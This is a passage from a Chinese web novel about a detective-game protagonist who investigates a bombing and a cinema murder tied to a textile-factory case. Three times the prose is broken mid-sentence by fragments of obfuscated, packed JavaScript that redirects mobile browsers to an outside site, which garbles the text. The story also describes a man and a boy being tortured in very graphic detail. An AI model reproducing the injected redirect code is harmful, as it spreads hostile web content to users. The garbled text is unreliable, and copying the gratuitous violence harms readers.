闵朝言转过身,定定看着那人的眼睛。 五分钟后, 闵朝言看着坐在自己对面的年轻男人。 “这件事不是你策划的。” 闵朝言声音笃定。 “……那个东西,是我放在你家门口的。” 青年低着头,眼神空洞。 “你很恨我们?” 闵朝言问。 “……” 青年没有说话。 “恭喜你,你成功了。我妈妈没有抢救过来,今天宣告死亡了。” 闵朝言看着他的眼睛,声音很平静。 “什么?!” 青年瞪大眼睛,猛地从椅子上站起来,手铐被扯动,发出很大一声闷响。 “不可能,你骗我!那个东西,根本不可能……不可能的!” 他大喊出声,脸色死白。 闵朝言看着他的眼睛,没说话。 “……你在骗我。” 青年反应过来,瞳孔颤抖。 “你们都……好可怕。” 他的声音虚弱。 “我们?” 闵朝言问。 “……” 他再次回以沉默。 “还有多久?” 闵朝言笑了一声。 那张照片残余的内容上,根据阳光照射在雕塑的角度,时间大约在上午七点一刻。 闵朝言相信这个信息必然有其意义。 她似乎并不在意沉默,继续说道: “上午七点一刻,那个人给你设置的时间,是到了这个时候,你就能出去吗?” 她很快否定了自己这个想法。 “不对,你已经认罪了,证据也齐全。我拿来的证据,不能完全证明你是无辜的,何况,你刚才也不想给自己翻案。” “那是什么。如果你心甘情愿替人顶罪,为什么还需要一个具体时间,你现在又才能接受到外界信息……!” 话音未落,对面的青年忽然剧烈抽搐起来,口吐白沫,双眼不断向上翻,几乎只有眼白显露在外。 !? 闵朝言终于明白这个时间的意义。 上午七点一刻, 是眼前这个人的死期。 她迅速上前用手撑开他的口腔,打开呼吸通道,掌心却被舌头推进什么东西。 硬质的,是一枚硬币。 “嗬…&*…她…@#??…” 青年身躯剧烈地颤抖着,眼睛死死盯着闵朝言,极力想要说什么。 他的领口散开,锁骨下面有一个纹身,是某个名字的花体字变形。 闵朝言的动作顿住。 脑海中浮现出一个极不可能的猜想。 “……她没事。她会活得很久。” 她轻声说。 青年挣扎着的动作弱下去,他呆呆看着闵朝言的脸,又似乎在透过这张脸,在看另一个人。 “那……就、好。” 在生命的最后,他极短促地笑了一声。 审讯室的门被打开,大批人涌进来开始对地上的尸体进行抢救。 闵朝言缓缓后退,直到后背撞上一个人的胸膛。 “你还好吗?” 隋觉荆从背后抱住她。 “……我没事。” 闵朝言低声回答。 她悄悄将硬币藏进袖口。 83. 芳芳纺织厂(35) 入夜,房间漆黑一片,窗边的角落里,一盏灯亮起。 冷色灯光下, 一枚硬币被照亮。 这是一枚特殊定制的纪念币, 硬币正面刻印着一扇大门,大门上的招牌写着五个字: 【芳芳纺织厂】。 背面则是简单镌刻了三个日期: 1996.11.19 1999.10.07 1999.12.30 闵朝言的手掌猛地握起,心跳声一声声在胸膛中放大。 她太清楚这三个日期意味着什么。 她没想到的是, 这个世界里,居然有第二个人知道这三个日期意味着什么。 「闵朝言,这三个是……」 系统出声。 ‘嗯,是我的[纪念日]。’ 闵朝言回答,声音里带着笑意。 幽暗之中,她眼中燃起点点亮色,带着期待和兴奋的战意。 ‘看来,接下来的故事,也不会无聊了。’ 她随手抛起硬币,低声道。 「你倒是玩上了,我都排查八百遍了,也没找出来为什么稳定值都清零了,居然副本世界还没崩塌。」 系统声音郁闷。 ‘反正还没崩塌,先玩着呗。’ 闵朝言懒洋洋地回它。 「你别……算了,你肯定会像上个副本一样搞事的。」 系统破罐子破摔, 「你要是搞事把任务完成,也挺好的。」 ‘进步很大,就是要有这种精神。’ 闵朝言笑了一声,夸奖它。 她把玩着手中的硬币,心中不禁升起一份期待。 这位神秘人,将带给她如何的游戏体验呢? - 治安局会议室。 隋觉荆正在翻看自己的手中的档案,每翻过一页,他的眉头就皱得更深。 “嫌疑人是自杀,全程有监控和录像,以此结案就可以了。” 前辈拍拍他的肩膀。 “但是不对劲,他一个会计专业毕业的学生,为什么会突然知道如何制作炸.弹?” 隋觉荆皱着眉,语气急促: “我们查了他的浏览器记录,他没有搜过相关内容。而且在犯案之前突然发帖诱导调查,这和他平时的性格也完全不符合。” “最重要的是,他虽然犯罪,但这个案件没有造成重大伤亡,即使被判刑,他的刑期也不过几年,他却畏罪自杀了!” 隋觉荆重重将档案放在桌子上,心脏不安地跳动。 “他可能在网吧浏览了相关内容,之前的性格可能只是他的伪装,畏罪自杀在心理素质脆弱的犯人中本来也很常见。” 前辈一句句回复他的疑问。 “但是,一个可以诱导治安官调查,预判被害人逃生方向的犯人,心理素质必然极强。一个会因为被判刑就畏罪自杀的人,心理素质必然相对脆弱。” 隋觉荆语气严肃: “前辈,你难道不觉得矛盾吗?” 听到这句话,前辈也沉默了。 “除非,之前那个把犯罪当作游戏操控的,真正的罪犯,并不是死在审讯室里的那个人!” 隋觉荆站起身,眼神坚定: “我申请立案,真正的犯人很可能还在逃窜中。而且,这个犯人不仅仅设计实施了爆炸案件,还可能对他人进行了诱导甚至胁迫自杀!” 前辈看着他一副一往无前的样子,深深叹了口气,也站起来,看着他的眼睛: “小荆,你知道,如果我们这样立案,会把这个案子升到多么危险的高度吗?这将是一起大案,要案!” 隋觉荆的动作一顿。 “还有不到一个月就是春节了,现在出这样的大案,甚至还是没有一点证据苗头的大案,你觉得可能吗?” 前辈的声音循循善诱。 隋觉荆知道她说的是对的。 可是…… 他握紧拳头。 “这个案件,你和被害人家庭有私交,所以调查部分,没有让你参与。但是现在调查阶段已经结束了,你来负责写后续报告,应该没什么需要避嫌的。” 前辈画风一转。 隋觉荆听出来这话的深意,猛地抬头看着她,眼睛发亮: “前辈,你的意思是……” “自己一个人走访写后续报告,要注意安全,也要保持低调,知道了吗?” 前辈眼中带上一点笑意。 “好!我一定注意!” 隋觉荆笑起来,认真点头。 “谢谢前辈!” 他抄起档案袋,快步走出会议室,看来,他接下来还有很多工作要干。 “齐姐,你这样会不会太纵着他了?” 有同事出声提醒。 “年轻人嘛,有干劲是好事。” 齐姐摇摇头,将手中的笔记本合上,又说: “而且,他那样的孩子,就算阻止,他也会自己偷偷去干的,至少这样,我们还能帮着把握一个大概。” 看着隋觉荆离去的身影, 她心中升起些感慨。 既希望他的敏锐是对的,又希望这个危险的设想,真的只是一场年轻人的多心。 翌日,闵朝言回到学校上学。 因为爆炸案的缘故,她一早上收到了不知道多少次“贴心问候”。 说起来有意思,恢复记忆前,闵朝言也会觉得这些招呼无用且无聊,但那时她总能极有耐心地应对这些人类社会相处习俗。 虽然已经兴致寥寥,她依然会遵循人类社会的社交礼仪和逻辑。 然而今天, 这种无聊的招呼让她心生厌倦,甚至失去了应付的耐心。 “啊,抱歉,我有些头晕。” 她摘下黑框眼镜,笑盈盈地看着眼前的几位同学,声音温和: “可以请你们让我安静一会吗?” “啊,抱、抱歉。” 明明她是笑着的,站在对面的同学却无端感到一种沉重的压力,下意识低下头去: “我们会注意的。” “没关系。” 她接受了这份道歉,坐在椅子上,把玩着手中的解剖刀。 今天的研究用动物是小鼠, 可她的刀,想划在一些更大的生物上面。 “小师姐,咖啡。” 她手边被放上一杯冰咖啡。 抬头,粉发女生露出一个大大的笑容,对着她眨眨眼睛。 “祁时忘。” 闵朝言叫她的名字。 “在呢!” 她笑眯眯地应下。 “实验室不让饮食。” 闵朝言说。 “你不想喝而已,想喝你就不会这么说了。” 祁时忘噗嗤一声笑出来,捧着咖啡杯坐在闵朝言身边。 她的手很大,修长漂亮,骨节分明,上面是粉色的猫眼美甲。 “心情不好吧?” 她喝了一大口冰咖啡,歪头看着闵朝言。 “你很闲?” 闵朝言也笑着问。 “哪有,超级忙的。但是一想到今天和你一起做实验,就觉得充满了干劲!” 祁时忘神采飞扬地回答。 祁时忘是比闵朝言小一届的研究生, 她大闵朝言四岁,但很执拗地管闵朝言叫小师姐。 闵朝言与她之间的关系,大概可以被形容为, 一场入室抢劫般的友谊。 从祁时忘入学后第一次见面开始,她就成了闵朝言的尾巴,自顾自地和她一起上下课,一起吃饭,加入一个小组…… 彼时的闵朝言还没有恢复有关游戏和副本的记忆,却已经开始发现绝大部分人类其实都是没什么意思的生物。 她对观察人类的兴趣渐渐转向那些不会说话,却千奇百怪的尸体。 祁时忘频繁出现在闵朝言身边的第三个月, 她才决定记住这个人的名字。 偶尔闵朝言也会觉得疑惑, 她明明只是默许了对方跟在自己身后。 但不知不觉间, 她们好像成为了校园里所有人公认的“挚友”。 “最近新上映了一部电影,要不要去看?” 祁时忘吸着咖啡,歪头看闵朝言。 “什么电影?” 闵朝言问。 “恐怖片,我们去看午夜场怎么样?” 祁时忘的眼神闪闪发亮。 电影院,闵朝言坐在椅子上,捧着爆米花。 她看电影习惯坐最后一排, 她不喜欢背后有人的感觉。 虽然是午夜场,但可能因为是首映,厅内人不少,几乎坐满了。 “来,吃爆米花。” 祁时忘买了一大桶焦糖爆米花,捧在怀里,很期待地看着闵朝言。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801646|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你好像很兴奋。” 闵朝言拿起一颗爆米花,扔到嘴里。 “因为会很精彩啊!” 粉发女生眉眼弯弯。 电影很快开场,一片漆黑中,只有红色的血液不断蔓延着,电影画面缓缓上摇,就在最紧张的瞬间—— 铃铃铃铃铃铃——!!! 离闵朝言大约两排的位置,电话铃声响起。x “喂?你谁?什么玩意儿?我不认识!” 一个男人暴躁的声音响起。 电影中,血液依然蔓延着。 “电影打什么电话?你有没有素质?” 坐在他前排的人回过头来,骂道。 “你有病啊?叽歪什么?” 男人一脚踢在那人椅子后背上。 他穿着绿色衬衫,扣子松松垮垮地扣着,姿态一副混混模样,长相并不凶悍,面中凹陷发白,虚得很。 他身边坐着一个小男孩,应该是他儿子,此刻用崇拜的眼神看着父亲,脸上一片得意之色,对着下排的人笑了下。 “你踢什么踢?!我有病?到底是谁在吵?!” 那人椅子被踢,沉默一秒,随后站起身来大吼出声。 电影画面继续播放, 看不见面容的凶手拿起武器。 中年男人被大吼一声,反而愣住,手里攥着的电话也渐渐放下了。 “好了,行了,都别说话了……” 他瞬间怂下去,声音放轻许多。 然而对方却不回答,踩着座椅跨到前排,伸出手一把揪住男人的领子,力气之大将扣子直接绷开。 “我道歉,我给你道歉行了吧!至于吗这点小事——” 男人终于服了软,双手抬起想要推开对方,声音却戛然而止。 电影画面中, 凶手的斧头高高落下。 电影厅内,一把闪着寒光的刀深深没入男人小腹。 “我叽歪?我有病?” 那人握住刀柄,将刀刃在伤口里转了一圈,声音里反而带上笑: “你说对了,我就是有病!哈哈哈哈!” 男人被一刀捅穿肺部,瞪大了眼睛,嘴里冒出血沫,倒在地上。 鲜血浸湿他的绿衬衫,把它染成浓郁的黑。 “真脏。刚才就是用这只脚踢我的吧?” 他低下头,踢了踢男人的小腿。 没等回答,他抽出刀,又狠狠地扎在男人的小腿上,刀尖流畅地割断脚筋,随后,居然将整个小腿肚的肌肉尽数剔了下来! 他大笑着抽出刀,对着男人的眼球狠狠捅下去,那只浑浊的眼球爆开,液体溅到他手背上。 那是一把屠宰牲畜的剔骨刀。 他动作极其熟练,又将刀抽出,那刀刃上还沾着一点白色黏稠物——那是男人的脑浆。 “啊——!!!!” 坐在男人身旁的小男孩看到这个场面,大声尖叫着要跑,后衣领子却被一把抓住。 “跑什么,把你爸丢下,多不孝顺啊。” 他用手掐住男孩的脖子,看着男孩因为呼吸不畅涨红的脸,笑眯眯地将刀刃贴着他的脸,把那一点脑浆抹在他嘴上。 “来,吃点脑子,补补脑子。你们俩就是都太没脑子了,才会这么惹人厌。” 他大笑出声,忽然凑得极近。 “你笑呀,你怎么不笑了?哎呀,是因为我才不笑的?那我得弥补你啊。” 他说着,刀刃深深刺进男孩的嘴巴,用力一拉—— “啊!!!!” 男孩哭叫着。 这是他最后能发出的声音了。 在他的脸上,从嘴唇起,两边皮肉被狠狠掀开,皮肉翻滚,露出里面的骨骼。 “你看,爱笑就要多笑嘛。” 男人晃着手中的刀,声音轻快。 屏幕上,凶手看着受害人的尸体,露出满足的笑容。 屏幕外,厅内一片死寂,所有人默默地将自己藏在黑暗里,不敢发出一点呼吸声。 祁时忘扑在闵朝言身上,她的双手紧紧抱住闵朝言的后背,散落在肩上的粉色头发不断颤抖着。 闵朝言坐在原地,眼神直直看着凶手。 「我靠。」 系统感叹。 「闵朝言,你没事……」 系统的话顿住。 屏幕映出红色的光芒,闵朝言的心音带着笑: ‘真是精彩的表演。’ 84. 芳芳纺织厂(36) 重平市治安局,审讯室外。 “小言,阿姨知道这个请求有些过分,但现在嫌犯提出,他只会和你交流……” 隋局长坐在闵朝言对面,有些迟疑地开口。 她今年四十多岁,人的衰老无可违逆,尽管神情依然坚毅硬朗,背却无法像青年时那般板正挺拔。 时间在每个人身上留下刻印。 “没关系,隋阿姨,我很高兴我能帮上忙。” 闵朝言点头。 “如果你感受到任何程度的威胁或者危险,一定要及时通知我们,这是呼救按钮。” 隋局长将一支手表放在桌上。 「闵朝言,这个手表……」 系统出声。 ‘我知道。我会处理的。’ 闵朝言微笑收下。 审讯室内灯光昏暗,只有一盏白炽灯正对着犯人的方向。 这是在审讯中常用的心理施压手段。 “你来得好快。” 犯人坐在椅子上,抬头看向闵朝言。 闵朝言第一次看清了这个人的面孔。 他很年轻,最多也不过二十岁出头,个子不高,长相也清秀,如果在路上遇到,八成是被人认为是个怯懦到连被人故意撞倒也不敢追究的性格。 然而,就是这样一个人, 在几个小时前,活生生虐杀了一个成年男性,并将一个男孩严重毁容。 在电影院犯下凶案之后,他没有离开,也没有伤害任何人。 他转过身坐在自己的位置上,安静地继续看着屏幕,专心地看着电影,直到治安官赶来将手铐扣在他的手腕上。 他始终沉默,动作顺从,没有任何反抗。 “为什么想见我?” 闵朝言将双手放在桌面上,袖口被挽起,手腕上黑色的电子表醒目。 “……我不喜欢被审问,也不喜欢被监视。” 他笑着回答。 “监控和监听设备都已经在你面前关掉了。” 闵朝言看着蒙上黑布的监控器和被拔下电源的监听器。 “你说的对,能给我倒杯水吗?” 他微笑着问。 闵朝言的眼神缓缓下落,唇瓣微扬,用带着手表的左手将水杯递给他。 “啊,抱歉。” 他作势接过杯子,双手却一歪,一把将闵朝言的手,将电子表扯下来,扔进了水杯里。 “希望这不是一个很重要的表。” 他的声音几乎说得上轻柔。 “为什么是我?” 闵朝言没有在意显然已经报废的手表,又问了一遍这个问题。 “你看得开心吗?” 他的双眼里满溢着期待。 “这是专门为你进行的表演,你觉得怎么样,精彩吗?” 他凑上前,像个在才艺表演赛上紧张的孩子,等待着评委的打分。 闵朝言直视着他的眼睛,在长久的沉默中,神情中带上懒散的笑意: “嗯,很精彩。” 非常精彩的,杀戮表演。 “隋局,声音断了。我们要派人进去确认一下吗?” 带着耳机的治安官转头看向隋局长。 隋局长的眉头深深皱起,眼中闪过一丝犹疑。 她正要说什么,忽然,监控室的门被猛地推开,发出好大一声响。 “你们怎么能让朝言自己单独和杀人犯谈话!” 隋觉荆怒气冲冲闯进来。 他走到隋局长面前,厉声质问: “她只是普通市民,你们没有考虑过这对她的危险吗!?” 隋局长的眉头皱得更深,声音却依然冷静: “我们充分和小言沟通过了,她愿意帮助我们,我们也会保证她的安全。” “保证安全,我都听见了,你们连监听都断了!” 隋觉荆气极: “嫌犯明确要求关闭录音录像,你们表面上答应了,又让她带着监听设备进去!你们没有考虑过如果被发现了,嫌犯会不会暴起袭击她吗!?” “隋觉荆,你以什么身份来质问我!” 隋局长打断他的话。 “如果是儿子的身份,那我告诉你,现在这里是治安局,不是讲亲缘关系的地方!如果你以治安官的身份,那么你又有什么权力和资格这样质问上级!” 她声音冷硬,直视隋觉荆: “我对这个行为,有自己的判断,也有承担后果的能力!” 隋觉荆握紧拳头,呼吸粗重。 “我要进审讯室。” 他转身就走。 “站住!我以局长的身份命令你,服从安排!” 隋局长喝道。 隋觉荆充耳不闻,快步向前。 “这个案件里嫌犯真正的目标很可能就是她!” 她高声道。 隋觉荆的脚步一顿,转过身来,看着她。 “不管是之前的炸.弹案件,还是这次的影院当众杀人案,她都牵扯其中。这次的嫌犯甚至明确要求,只愿意和她对话。” 隋局长说。 “她是被牵连的!爆炸案针对的是闵阿姨,影院案件更是激情杀人,和她有什么关系!” 隋觉荆马上反驳。 “激情杀人?” 隋局长重复了一遍这四个字,随后将一个档案扔到隋觉荆怀里。 “看看这个档案,你还能说出来‘激情杀人’吗?” 她神色严肃,一字一句道。 隋觉荆强压下心中烦躁,翻开档案,第一页就是嫌犯的信息: 姓名:张志源 年龄:22 身份:无业 母亲:林秀(病逝) 父亲:张成(1999年重平市芳芳纺织厂抢劫杀人案死者) …… 隋觉荆的眼神顿住,随后,他翻开第二页,那是本案死者的身份信息: 姓名:韦腾飞 年龄:47 身份:已退休(曾任芳芳纺织厂房改科科长) …… “我爸死的时候,我妈早就下岗了。他是被人捅死的,不算工伤,工厂不会赔钱。” 张志源坐在囚椅上,看着被泡在水里的手表,缓缓讲述着自己的故事。 “你妈妈当时来过我们家一趟,给我妈包了个红包,一千块钱。我妈哭得都要给她跪下了。我真的很谢谢她。如果没有那一千块钱,我们娘俩都要冻死在那个冬天了。” 说起过去,张志源低下头,双手绞在一起,骨节被勒得发白。 “拿着钱,我妈在楼下支了个摊,买点豆腐脑什么的。可是天还没暖和呢,就有人过来把一切都砸了,说:现在工厂要收回房子了,我们得清退。” “我不知道清退是什么意思,我就知道,我妈跪在那个男人面前,求了很久很久,他就往地上扔了二十块钱,笑着就走了。” 张志源眼睛发红,一字一句地说: “我爸死了,我妈早就下岗,我们连清退金都拿不到,被那个男的吞了!他自己买小区的新房子,买进口车!他贪了我们的肉去吃香喝辣!!!” 青年嘶吼着,眼泪落在铁质桌面上,汇聚成一摊小池。 闵朝言看着他,脸上没有任何表情。 “我们经历了什么才活到今天……我都不敢去回忆。我还没从大专毕业,我妈就死了。” “她是累死的。” 张志源低低笑了一声,猛地抬起头看着闵朝言,声音很轻: “我想了很久很久,我怎么也想不明白,为什么我们家只是想要活下去,都那么那么难啊?” “我想得太久了,我就决定,先不想了。” “我要把那个人杀了,让他永远也用不了那些好东西了。我要让他死得足够痛苦,比我妈要痛苦一万倍。” 长相清秀的青年眼中含着泪,笑容却如扭曲的恶鬼版狰狞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806368|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “听上去你好像只恨死者本人,为什么也对那个男孩下手?” 闵朝言问。 “他从生下来,吃的喝的,都是我们的血和肉。我只是想,让他张张嘴而已。” 张志源笑着回答。 闵朝言看着他,眼中浮现出一点兴味。 “那,为什么一定要选我在的时候杀他?真的是为了给我看表演?” 她问。 “有人想给你看表演。” 张志源微笑着说。 “我也想利用这个,再要点好处。毕竟,我妈的仇人我杀了,我爸的仇人,还活着呢。” “哦?你的牌,不打算用?” 闵朝言挑眉。 “我这样的命,有什么可保的。” 张志源嗤笑一声,靠在椅子上。 监控室内,隋局长将一份精神鉴定单放在隋觉荆面前,上面写着张志源的名字和对他的诊断: 【在母亲病逝后,张志源出现严重幻觉幻听症状,同时伴有暴力行为,经诊断,为重度精神分裂症,建议住院治疗。】 “他真是精神病?” 隋觉荆皱起眉。 有这张诊断单在,他们能做到的最好结果,也只不过是将张志源强行收入精神病院治疗。 可这样的人……如果对朝言产生威胁怎么办? 隋觉荆焦虑地咬着自己的下唇,嘴里一阵铁锈味。 “如果他承认自己是间歇性精神分裂,并且在行凶时是完全清醒的,他就依然适用于法律审判。” 隋局长回答。 “谁会承认这种事?他一旦承认自己故意杀人,不是死刑也是无期,他怎么会——” 隋觉荆顿住。 “他有条件。” 隋觉荆反应过来。 “两个。一,他要和闵朝言在无人监控监听的环境下单独对话,二,他对自己到时候的狱友,有指定要求。” 隋局长说。 “……他父亲是,当年芳芳纺织厂抢劫杀人案的受害者。而凶手‘哑巴’原判死刑,通过不断上诉,一直在推迟死刑执行,活到了今天。” 隋觉荆一字一句。 他定定看着隋局长的眼睛: “你答应他了?” “他承认自己的行为收到了某个神秘人的帮助,那个人很可能也是你怀疑的,爆炸案的背后真凶——” 隋局长的话被打断。 “你答应他,到底是为了找到真相,还是为了有一个人进去监狱把哑巴给杀了!” 隋觉荆大吼。 室内一片死寂。 隋局长看着隋觉荆的眼睛,神情坦然而平静: “我会答应他,是为了抓住一个隐藏在人群中的连环杀手。” 隋觉荆忽然想笑。 他从来都没看清过自己的母亲。 “真的吗,隋局长?” 他低声问。 他没有得到回答。 - “哦,对了,那个人有个礼物给你,那家伙托我告诉你——” “游戏愉快。” 审讯室里, 张志源对着闵朝言露出一个几近纯良的笑容。 下一秒,白炽灯突然炸开,房间陷入漆黑! 在黑暗中,闵朝言手心一凉,有什么东西被放在她掌心,冰冷而坚硬,手铐撞击桌子的声响中,有血腥气蔓延。 砰! 大门被撞开,手电筒的光芒中,张志源被按倒在地,疯狂挣扎,在他的小臂上,有一块被暴力撕开的伤口。 这不是他唯一的伤口,却是他身上最深的伤口。 闵朝言将沾血的硬币默默塞进口袋。 第二枚。 鲜血将他的衣服浸湿,他似乎感受不到痛苦,侧脸被压在地上,看着闵朝言的方向。 “游戏愉快,游戏愉快!” 他大笑着,高声呼喊: “游戏——愉快!!!” 85. 芳芳纺织厂(37) 昏暗的房间里,只有书桌上亮着灯。 暖黄色的灯光映照着两枚硬币。 第一枚,是闵朝言从爆炸案犯人手中得到的,正面刻印着芳芳纺织厂的大门,背面刻着三行数字: 1996.11.19 1999.10.07 1999.12.30 闵朝言知道这三个日期意味着什么: 1996年11月19日,曲家失火,老曲和曲老三在这天被烧成残废,从此作为废人的他们,再也无法折磨其他人了。 1999年10月7日,白百福反杀生父,她拿起菜刀,将自己亲生父亲的头颅砍了下来,从此她的家中,终于安静了下来。 1999年12月30日,吴志坠楼而亡,身上有明显外部击打导致的外伤,最终,这场非正常死亡被算在了流窜连环杀人犯哑巴的头上。 还是这个夜晚,老曲因受重击导致内脏出血,送医时已经错过了最佳抢救时间,最终不治身亡。 这场非正常死亡,被算在了长期对家人家暴的曲老大头上,他被判十五年,还在服刑中。 闵朝言的指尖抚过那三行数字,神色柔和,仿佛艺术家在重新欣赏自己珍贵的作品。 “没有记忆也能做得这么好,真厉害啊。” 她低声夸奖着十年前的那个孩子。 「你好自恋。」 系统吐槽。 ‘因为就是这么讨人喜欢啊。’ 她很自然地回答。 「那讨人喜欢的闵朝言任务者,你能不能也稍微在玩的时候,也考虑一下副本稳、定、值、呢!」 系统的声音渐渐放大。 ‘我也想不明白,明明主角有很多事情要做了,为什么副本稳定值反而归零了。’ 闵朝言说。 她更不能理解的是, 为什么副本稳定值都归零了,这个副本还没有崩溃坍塌,反而一直持续到了现在。 「是啊,难道隋觉荆还不够忙吗?」 系统也纳闷。 作为一个现代刑侦类副本的主角,隋觉荆拥有着双亲一个沉迷工作一个以身殉职的标准悲惨童年,也早早树立了要投身治安事业的理想,并且在成年之后实现了理想。 除了本不该出现在他生命轨迹中的闵朝言,隋觉荆的前半段人生完美吻合副本设定。 「会不会是因为我们提前进来太多了?」 系统疑惑。 「这个副本的主线就是玩家和隋觉荆以搭档的身份一起探案,但现在隋觉荆没有案子可探,所以副本不稳定?」 「也不对啊,之前没有案子,现在他明明有两个案子可以探了,稳定值还是要死一样一动不动……」 系统的碎碎念被闵朝言忽略。 在原本设定中,这个副本本该在2009年开启。 然而,因为闵朝言的到来,开启时间变成1996年。 十三年可以改变许多事情。 ——比如,那个一直支撑着隋觉荆人生的信念。 ‘不知道,再说吧。’ 闵朝言打了个哈欠,拿起桌子上的另一枚硬币。 这枚纪念币,正面刻印着的图案模糊一些,并不是一个具体地点,而是一个编号已经模糊的徽章。 这枚纪念币显然要更陈旧,上面有着深深浅浅的刻痕,有的深而长,几乎贯穿整片画面,有的浅而短,似乎拿刀的手正在不住颤抖。 闵朝言沉默着将硬币翻转过来。 不出所料,在这枚硬币的背面,也有三行刻字: 1998.1.23 2009.1.16 2009.1.21 也是日期。 第一个日期指代着什么,闵朝言并不清楚,但后面两个日期,她可是记忆犹新。 闵家爆炸案,和,电影院杀人案。 看来,这三个日期,都是对方的“作品”。这两枚硬币,一枚象征着闵朝言,一枚象征着这个神秘人。 看来,TA是将闵朝言当作同类了。 同类。 闵朝言嗤笑一声,将手中的硬币扔在桌面上,眼神没有一丝情绪。 她讨厌这个词。 ‘系统,1998年1月23日,发生了什么?’ 她问。 在现实世界中,这个问题没有意义。 因为世界太大太广阔,任何有可能发生的事情,都无时无刻不在发生着。 无数的信息,事件,数据,都在被记载, 其中绝大部分,都是无意义。 人类总是无法意识到, 有空间和时间可以被浪费,本身就是一种奢侈。 「1998年1月23日,男主父亲殉职的日子。」 系统回答。 啊,果然。 闵朝言点头。 副本和现实世界的记录逻辑截然相反。 因为副本能承载的空间、时间、信息都是有限的。 因此, 在副本故事中,一件被记载下来的事情,就必然有它的价值。 在一个副本中,价值最大的,当然是和主角相关的事件。 还有什么,比在设定中影响了隋觉荆一生的父亲之死更重要呢? 「这个人才是隋父之死的真凶,为什么哑巴认罪了?」 系统疑惑。 和一般会按照设定和剧情正常运行的游戏副本不同,这种稳定值过低的副本中,出现任何剧情偏移或者设定错位都很正常。 它们早已经不再受“剧情”的束缚。 ‘他不是也认下了杀死吴志的罪名吗?’ 闵朝言反问。 这是整个吴志之死中,最大的破绽和疏漏,闵朝言当时也知道这一点。 但时间太过紧迫,她也没有更好的选择。 然而,从隋觉荆的口中,闵朝言得知: 哑巴被抓获之后,对所有罪行供认不讳,其中就包括了吴志的死。 如果不是倪淮玉确信当时天台上只有他和吴志两个人,闵朝言甚至都要怀疑自己是不是误打误撞真的抓到凶手了。 「也是……那咱们怎么办?」 系统问。 闵朝言没有回答,她的手又不知不觉抚上硬币的表面,声音放缓: ‘你看,你又忘记了,游戏是要[玩]的。’ 既然副本还没崩溃, 那就,好好玩一场吧。 “游戏愉快。” 她将这四个字含在唇间,缓缓吐出。 张志源一直在说的这句话,到底是有什么含义? 这句话是比喻句,还是陈述句呢。 坐在昏暗的房间里, 闵朝言看着窗外城市闪烁着的灯光,忽然笑起来。 红色的霓虹灯映入她眸中,渐渐晕散开来, 如鲜血沁入沼泽。 - 作为历史录取最高分, 全科全系第一保持者, 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817997|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >且在众多顶级大学邀请下,依然选择了在本校本硕博连读的顶级学神, 自然而然,闵朝言在学校拥有一些特权。 比如说,虽然还处于研究生阶段,但她已经拥有了自己的实验室,开展了自己的研究课题。 闵朝言的课题是《非典型暴力创伤性死亡研究》。 这个课题让她有机会接触许多非常规的尸体,并未以此为连接,帮助许多医院进行难度更高,专业性更强的非常规尸检。 ——之前她以为那个死因奇特但其实只是酗酒过度而亡的无聊尸体,也是因此而来。 虽然很多时候都只是在无聊的尸体上浪费时间,但有时候,闵朝言也能够遇到一些足够有趣奇特的尸体。 比如说, 眼前这具。 “他叫韦腾飞,你们应该见过。” 隋觉荆说了句冷笑话,将闵朝言带到了停尸间。 闵朝言的确见过,因为这具从冷柜里被拉出来的尸体,正是电影院杀人案当天的死者。 “这具尸体的尸检难度非常大,因为凶手当时不仅仅在进行单纯的暴力伤害,而是含有强烈的折磨意图。” 隋觉荆将尸体的档案递给闵朝言。 不是折磨,是一场杀戮表演。 闵朝言接过档案,在心里纠正了他的用词。 “只有凶手的供词还不稳妥,我们需要用尸检报告进一步证明,他在犯案当时是清醒,有自我意识和自我行动能力的。” 说罢,隋觉荆看向闵朝言,眼神中浮现出几分愧疚: “何阿姨说,如果要在不损伤尸体的情况下做这么高难度的尸检,整个重平市,也只有你做得到。” 闵朝言闻言,唇角微扬,带上白手套,打趣他: “这不是夸我的话吗,说得这么沉重干什么?” “我担心你不舒服,你是看着这个死者被杀的,尸检他……我怕让你想起不好的回忆。” 隋觉荆叹气。 闵朝言带着手套的指尖缓缓按在他的眉心,一点点将皱起抚平。 “隋觉荆,不要替我决定我的情绪。” 她的声音几乎可以算得上温柔。 隋觉荆抬手,轻轻握住闵朝言的手腕,却没有将她的手拉开。 玄学中有一种说法: 人的眉心处,是灵魂之火燃烧的地方,当这一处火焰被熄灭时,人的灵魂也就随之消亡了。 那么,当这一处火焰被掌握时, 是否就意味着灵魂也被就这样握住了呢? 隋觉荆垂眸,看着闵朝言的眼睛。 她有一双极黑的眸子,在影响下,仿佛漆黑无光的沼泽,又好像是一片无尽的深渊。 在她的目光中, 